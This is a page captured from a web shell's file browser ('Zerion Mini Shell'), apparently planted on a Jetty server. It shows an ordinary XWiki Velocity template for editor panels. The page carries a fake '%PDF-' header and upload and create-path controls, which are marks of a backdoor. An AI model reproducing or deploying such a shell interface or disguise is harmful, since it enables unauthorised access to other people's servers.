%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/waritko/jetty-distribution-9.4.21.v20190926/webapps/ROOT/templates/
Upload File :
Create Path :
Current File : //home/waritko/jetty-distribution-9.4.21.v20190926/webapps/ROOT/templates/editpanels.vm

#if($isInServletMode)
## This template is necessary so that different skins can use different edit Panels.
## Thus each skin is allowed to override the editpanelsvars.vm file.
#template('editpanelsvars.vm')
#if ($editor == 'wiki')
  #set ($editorPanels = $editorPanelsWiki)
#elseif ($editor == 'wysiwyg')
  #set ($editorPanels = $editorPanelsWysiwyg)
#elseif ($editor == 'object')
  #set ($editorPanels = $editorPanelsObjects)
#elseif ($editor == 'class')
  #set ($editorPanels = $editorPanelsClass)
#elseif ($editor == 'rights')
  #set ($editorPanels = $editorPanelsRights)
#elseif ($editor == 'history')
  #set ($editorPanels = $editorPanelsHistory)
#end
#if ($!editorPanels != '')
  #set ($editorPanels = $editorPanels.split(','))
  <div id="editPanels" class="panels editor">

  ## Convert the list of panels to panel (UIExtension) IDs
  #set ($panelIDList = [])
  #foreach ($panel in $editorPanels)
    #set ($panelDocumentReference = $services.model.resolveDocument($panel.trim(), 'currentmixed'))
    #set ($panelStringReference = $services.model.serialize($panelDocumentReference, 'default'))
    #set ($discard = $panelIDList.add($panelStringReference))
  #end

  ## Get the Panel UIExtensions by filtering on the above computed panel ID list
  #set ($panelUIExtensions = $services.uix.getExtensions('platform.panels', {'select' : "$stringtool.join($panelIDList, ',')"}))

  ## Display each configured panel that the current user has view on
  #foreach ($panelUIExtension in $panelUIExtensions)
    ## We need to set this because the panelheader macro used in panels needs it
    #set ($paneldoc = $xwiki.getDocument($panelUIExtension.id))
    #if ($paneldoc && $!xwiki.hasAccessLevel('view', $paneldoc))
      $services.rendering.render($panelUIExtension.execute(), "xhtml/1.0")
    #end
  #end

  </div>
#end
#end

Zerion Mini Shell 1.0